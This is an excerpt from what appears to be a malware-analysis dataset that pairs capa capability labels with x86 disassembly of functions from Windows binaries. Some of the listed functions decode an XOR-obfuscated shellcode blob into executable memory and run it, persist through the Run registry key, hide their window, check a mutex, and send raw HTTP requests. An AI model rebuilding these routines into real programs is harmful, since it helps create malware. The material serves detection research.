joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4076f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, 0x64
mov ebx, dword [ebp + 8]
lea esi, [ebp - 0x1c]
jmp 0x407742
mov dword [esi], 0x61736e
call sub.KERNEL32.dll_GetTickCount
mov ecx, 0x1a
xor edx, edx
mov dword [esp + 0xc], ebx
div ecx
add edx, 0x61
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x1a], dl
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.KERNEL32.dll_GetTempFileNameA
sub esp, 0x10
test eax, eax
jne 0x40774d
dec edi
cmp edi, 0xffffffff
jne 0x407706
mov byte [ebx], 0
xor ebx, ebx
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x407759
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x42e9b4
call fcn.00407326
push eax
push eax
mov dword [esp], 0x42e9b4
call fcn.00407151
test eax, eax
push ebx
mov ebx, eax
je 0x407805
mov dword [esp], eax
call fcn.004071c3
cmp byte [0x430884], 0
push ecx
jns 0x4077cb
mov al, byte [ebx]
cmp al, 0x5c
je 0x407805
test al, al
je 0x407805
jmp 0x4077cb
mov dword [esp], 0x42e9b4
call fcn.004070f2
test eax, eax
push edx
je 0x4077bc
test byte [eax], 0x10
je 0x407805
mov dword [esp], 0x42e9b4
call fcn.004072aa
push ecx
jmp 0x4077d1
sub ebx, 0x42e9b4
mov dword [esp], 0x42e9b4
call fcn.0040729e
cmp eax, ebx
push edx
jg 0x4077a6
mov dword [esp], 0x42e9b4
call fcn.004072e2
push ecx
mov dword [esp], 0x42e9b4
call sub.KERNEL32.dll_GetFileAttributesA
inc eax
setne al
push edx
movzx eax, al
jmp 0x407807
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x40780e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
push edx
xor edx, edx
cmp eax, 0xffffffff
mov dword [esp], ebx
setne dl
neg edx
and eax, edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x407869
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
cmp eax, 0xffffffff
push edx
je 0x407892
and eax, 0xfffffffe
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_SetFileAttributesA
push ecx
push ecx
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x407f18
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [0x42f1b4], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], 0x42f1b4
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x407f94
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [ebp - 0x18]
push ecx
leave
ret 4

Function at 0x407f98
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
cmp dword [0x42f1fc], 0
push esi
mov esi, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
jne 0x407fda
xor edx, edx
mov eax, edx
xor edi, edi
mov ecx, eax
inc edi
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor eax, ecx
cmp edi, 8
jne 0x407fb3
mov dword [edx*4 + 0x42f1f8], eax
inc edx
cmp edx, 0x100
jne 0x407faf
mov eax, dword [ebp + 8]
not eax
jmp 0x407ff4
mov dl, byte [ebx]
dec esi
xor edx, eax
inc ebx
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x42f1f8]
test esi, esi
jne 0x407fe1
not eax
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x401568
Capabilities:
Create process on windows

Disassembly:
push 5
push 0
push 0
push str.http:__bjtime.cn
push str.open
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
ret 0x10

Function at 0x401586
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 0xc], 1
push esi
mov esi, ecx
jne 0x4015f0
mov eax, dword [esi + 4]
mov ecx, dword [0x40b26c]
mov dword [ebp - 0x54], eax
mov eax, 0x80
push eax
push ecx
mov dword [ebp - 0x58], 0x58
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x48], 0x4c8
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x40]
push 0x40b24c
push eax
call fcn.00403450
pop ecx
lea eax, [ebp - 0x58]
pop ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x401c3c
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push 0xf0
push dword [esi + 0x64]
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esi + 0x17c], eax
lea eax, [ebp - 4]
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401cfb
cmp dword [esi + 0x17c], 1
jne 0x401ce4
push edi
push 0x40
pop ecx
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push ebx
push 0x40a110
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x401cf2
push ebx
push 0x40b24c
push 0x40a188
push dword [esi + 4]
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401cf2
push 0x40a110
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x401e31
Capabilities:
Create process on windows

Disassembly:
push 5
push 0
lea eax, [ecx + 0x180]
push 0
push eax
push str.open
push dword [ecx + 4]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
ret 0x10

Function at 0x402c42
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 8]
push esi
push eax
xor esi, esi
push 1
push esi
push dword [ebp + 8]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402c8e
push dword [ebp + 0x14]
lea eax, [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402c89
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x402c91
or esi, 0xffffffff
jmp 0x402c7c
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x402c94
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp + 8]
xor esi, esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
mov dword [ebp - 4], esi
push dword [ebp + 8]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402cf0
push dword [ebp + 0x10]
call fcn.00403e40
pop ecx
push eax
push dword [ebp + 0x10]
push 1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
neg eax
sbb eax, eax
jmp 0x402cf3
or eax, 0xffffffff
pop esi
leave
ret
Function at 0x4031ad
Capabilities:
Connect socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push esi
xor esi, esi
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00403710
add esp, 0xc
mov word [ebp - 0x14], 2
push 0x50
call sub.WS2_32.dll_htons
push dword [ebp + 0x10]
mov word [ebp - 0x12], ax
call sub.WS2_32.dll_gethostbyname
cmp eax, esi
jne 0x4031ed
or eax, 0xffffffff
jmp 0x403350
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.00403780
add esp, 0xc
push esi
push 1
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40321d
push 0xfffffffffffffffe
pop eax
jmp 0x403350
push ebx
push edi
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
push 0x10
push ecx
mov ebx, dword [edi]
push eax
mov dword [ebp + 0xc], esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x40333c
push dword [ebp + 0x1c]
lea eax, [ebp - 0x814]
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push str.GET___s_HTTP_1.1_r_nHost:_s_r_nVer:_s_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp + 0x10], eax
call fcn.00403f60
push esi
mov dword [ebp + 0x1c], eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x814]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x10]
jne 0x403329
lea eax, [ebp + 0x10]
push 4
push eax
push 0x1006
push 0xffff
mov dword [ebp + 0x10], 5
push dword [ebp - 4]
call sub.WS2_32.dll_setsockopt
push esi
lea eax, [ebp - 0x814]
push 0x7ff
push eax
push dword [ebp - 4]
call sub.WS2_32.dll_recv
mov esi, eax
call fcn.00403f60
test esi, esi
mov dword [0x40b304], eax
jle 0x403320
and byte [ebp + esi - 0x814], 0
lea eax, [ebp - 0x814]
push str._r_n_r_n
push eax
call fcn.00403ee0
pop ecx
test eax, eax
pop ecx
jbe 0x403317
add eax, 4
sub esi, eax
lea ecx, [ebp + esi - 0x814]
cmp ecx, ebx
mov dword [edi], ecx
jle 0x4032f7
mov dword [edi], ebx
mov ecx, dword [edi]
push eax
push dword [ebp + 8]
and byte [ecx + eax], 0
call fcn.00403450
mov eax, dword [0x40b304]
pop ecx
sub eax, dword [ebp + 0x1c]
pop ecx
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
jmp 0x403330
mov dword [ebp + 0xc], 0xfffffffa
jmp 0x403330
mov dword [ebp + 0xc], 0xfffffffb
jmp 0x403330
mov dword [ebp + 0xc], 0xfffffffc
push 2
push dword [ebp - 4]
call sub.WS2_32.dll_shutdown
jmp 0x403343
mov dword [ebp + 0xc], 0xfffffffd
push dword [ebp - 4]
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp + 0xc]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x406539
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40a980
cmp edx, dword [eax]
je 0x40655b
add eax, 8
inc ecx
cmp eax, 0x40aa10
jl 0x40654c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40a980]
jne 0x406689
mov eax, dword [0x40b318]
cmp eax, 1
je 0x406663
test eax, eax
jne 0x40658c
cmp dword [0x40a5c4], 1
je 0x406663
cmp edx, 0xfc
je 0x406689
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4065c3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403450
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403e40
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x406606
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403e40
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40858c
push edi
call fcn.00407280
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403450
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403460
lea eax, [ebp - 0xa0]
push 0x40856c
push eax
call fcn.00403460
push dword [esi + 0x40a984]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403460
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004071ef
add esp, 0x2c
pop edi
jmp 0x406689
lea eax, [ebp + 8]
lea esi, [esi + 0x40a984]
push 0
push eax
push dword [esi]
call fcn.00403e40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
xor eax, eax
cmp ecx, 5
jae 0x40100e
leave
ret
mov edx, dword [ebp + 0xc]
push ebx
push edi
mov edi, dword [edx]
neg edi
cmp edi, 5
jbe 0x401022
mov dword [edx], 0xfffffffb
add ecx, 0xfffffffb
mov dword [ebp - 8], ecx
jmp 0x40102d
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov cl, byte [eax + edi]
cmp cl, 0xe8
je 0x401043
cmp cl, 0xe9
je 0x401043
inc eax
jmp 0x40113b
mov ecx, eax
sub ecx, dword [edx]
mov dword [edx], eax
cmp ecx, 5
jbe 0x401053
and dword [esi], 0
jmp 0x401063
test ecx, ecx
jbe 0x401063
mov edx, dword [esi]
and edx, 0x77
add edx, edx
dec ecx
jne 0x401059
mov dword [esi], edx
mov dl, byte [eax + edi + 4]
test dl, dl
je 0x401074
cmp dl, 0xff
jne 0x401127
mov ecx, dword [esi]
shr ecx, 1
mov ebx, ecx
and ebx, 7
cmp dword [ebx*4 + 0x40cb84], 0
mov dword [ebp - 4], ecx
je 0x401127
cmp ecx, 0x10
jae 0x401127
movzx ebx, byte [eax + edi + 3]
movzx edx, dl
shl edx, 8
or edx, ebx
movzx ebx, byte [eax + edi + 2]
shl edx, 8
or edx, ebx
movzx ebx, byte [eax + edi + 1]
shl edx, 8
or edx, ebx
sub edx, eax
sub edx, 5
cmp dword [esi], 0
mov ebx, edx
je 0x4010f9
movzx edi, byte [ecx + 0x40cba4]
push 3
pop ecx
sub ecx, edi
shl ecx, 3
shr edx, cl
test dl, dl
je 0x4010de
cmp dl, 0xff
jne 0x4010f6
push 4
xor edx, edx
pop ecx
sub ecx, edi
mov edi, dword [ebp + 8]
shl ecx, 3
inc edx
shl edx, cl
mov ecx, dword [ebp - 4]
dec edx
xor edx, ebx
jmp 0x4010b8
mov edi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [eax + edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [eax + edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [eax + edi + 2], cl
mov byte [eax + edi + 1], bl
add eax, 5
and dword [esi], 0
jmp 0x40113b
or dword [esi], 1
mov ecx, dword [esi]
inc eax
test dl, dl
je 0x401136
cmp dl, 0xff
jne 0x40113b
or ecx, 0x10
mov dword [esi], ecx
cmp eax, dword [ebp - 8]
jbe 0x40102a
pop edi
pop ebx
leave
ret
Function at 0x401386
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push 0x40
push 0x1000
mov esi, 0x9a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ecx, 0x41bab8
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x97
mov byte [eax], dl
inc eax
dec esi
jne 0x4013ae
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x409197
call edi
add esp, 0x10
push 0x4000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 8

Function at 0x4013e4
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push esi
push edi
push 0x40
push 0x1000
mov esi, 0x707
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ecx, 0x41bb58
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x97
mov byte [eax], dl
inc eax
dec esi
jne 0x401404
push fcn.00401dc0
push fcn.00401a50
push fcn.0040184b
push fcn.00401e3a
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x24]
call edi
add esp, 0x1c
push 0x4000
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
ret 4

Function at 0x401450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebx + 0x3c]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
add esi, ebx
push dword [esi + 0x54]
push ebx
call edi
push dword [esi + 0x54]
push 0
push ebx
call fcn.00401dc0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [esi + 0x54]
push ebx
call edi
pop edi
pop esi
leave
ret
Function at 0x401627
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push 0x53
pop eax
push 0x61
mov word [ebp - 0x24], ax
pop eax
push 0x6d
mov word [ebp - 0x22], ax
pop eax
push 0x70
mov word [ebp - 0x20], ax
pop eax
push 0x6c
mov word [ebp - 0x1e], ax
pop eax
push 0x65
mov word [ebp - 0x1c], ax
pop eax
push 0x30
mov word [ebp - 0x1a], ax
pop eax
push 0x58
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x24]
push eax
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40169c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40177b
call fcn.0040148c
test eax, eax
jne 0x401732
push dword [0x40f080]
call fcn.00401928
push dword [0x40f080]
mov esi, eax
push ebx
push esi
mov dword [ebp - 4], esi
call fcn.00401dc0
add esp, 0x10
push esi
mov eax, 0x40f084
call fcn.0040134c
push esi
call fcn.004013e4
mov esi, eax
cmp esi, ebx
je 0x401724
push edi
lea eax, [ebp - 0x10]
push eax
push esi
mov byte [ebp - 0x10], 0x49
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], bl
call fcn.00401386
mov ebx, dword [esi + 4]
mov edi, eax
call fcn.00401450
test edi, edi
je 0x401723
push str.yxwyy
call edi
pop edi
push dword [ebp - 4]
call fcn.0040184b
pop ecx
jmp 0x401695
mov eax, dword [ebp + 8]
push ebx
push eax
push ebx
push ebx
push ebx
mov dword [0x41df70], eax
mov eax, 0x80000000
push eax
push ebx
push eax
push 0xcf0000
push 0x41dea8
push 0x41df78
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
cmp esi, ebx
je 0x401695
push dword [ebp + 0xc]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret

Function at 0x406325
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40e730]
jne 0x40632f
repz ret
jmp fcn.00407f83
Function at 0x406773
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004058a2
and dword [ebp - 4], 0
cmp dword [0x41da14], 0
mov ebx, eax
jne 0x406824
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4068d5
push eax
call fcn.00405830
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41da14], eax
call esi
push eax
call fcn.00405830
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41da18], eax
call esi
push eax
call fcn.00405830
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41da1c], eax
call esi
push eax
call fcn.00405830
pop ecx
mov dword [0x41da24], eax
test eax, eax
je 0x406824
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405830
pop ecx
mov dword [0x41da20], eax
mov eax, dword [0x41da20]
cmp eax, ebx
je 0x40687c
cmp dword [0x41da24], ebx
je 0x40687c
push eax
call fcn.004058ab
push dword [0x41da24]
mov esi, eax
call fcn.004058ab
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40687c
test edi, edi
je 0x40687c
call esi
test eax, eax
je 0x406873
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406873
test byte [ebp - 0xc], 1
jne 0x40687c
or dword [ebp + 0x10], 0x200000
jmp 0x4068b5
mov eax, dword [0x41da18]
cmp eax, ebx
je 0x4068b5
push eax
call fcn.004058ab
pop ecx
test eax, eax
je 0x4068b5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068b5
mov eax, dword [0x41da1c]
cmp eax, ebx
je 0x4068b5
push eax
call fcn.004058ab
pop ecx
test eax, eax
je 0x4068b5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41da14]
call fcn.004058ab
pop ecx
test eax, eax
je 0x4068d5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068d7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404654
Capabilities:
Encode data using xor

Disassembly:
and dword [eax + 0x41], edi
invalid
mov byte [edi + 0x2c], bh
dec ecx
jb 0x40467b
xor byte [0x8e3a4758], bl
jecxz 0x40466c
arpl word [ecx], cx
mov esi, 0x8c948e3e
jno 0x4045f4
jae 0x404698
sub esi, dword [ecx - 0x376b922b]
xor ebx, ebp
pop ecx
mov cl, 0xd5
insd dword es:[edi], dx
xchg esp, eax
enter 0xffffffffffffdd33, 0x59
retf
rcr byte [ebx], cl
jle 0x4046c3
aam 0x10
leave
sbb eax, 0x836359fe
and al, 0x4d
pop edi
dec esi
sal dword [esi], 0x5e
cmpsb byte [esi], byte es:[edi]
pop esi
stc
shl dword [esi + ebp - 0x6b], 0xac
cmpsb byte [esi], byte es:[edi]
dec eax
rol byte [ebx - 0x23], 0xb7
pop edi
sub byte [esi], 0xf1
inc ebx
fnsave dword [edi - 0xed17da1]
cmpsd dword [esi], dword es:[edi]
cli
test eax, 0x7e400905
pop esp
push ecx
nop
fstp qword [edi]
mov esi, 0x5d866386
adc dword [edx + 0x3f5e529b], eax
add dword [esi + 0x70], edi
nop
and dword [ecx - 0x19], 0x55492eae
cld
mov dword [0xd99b855], eax
xor eax, 0xf0076d61
cmp dword [edi + eax*8 - 0x14], edi
push ebp
mov eax, 0x61350d99
insd dword es:[edi], dx
pop es
cmp dword [edi + eax*8 - 0x14], edi
jne 0x4046ba
add ah, dh
test edx, edx
push ebp
jg 0x40468d
pop es
add byte [esi], ah
pop ebx
adc byte [esi - 0x4ee6312], bh
ret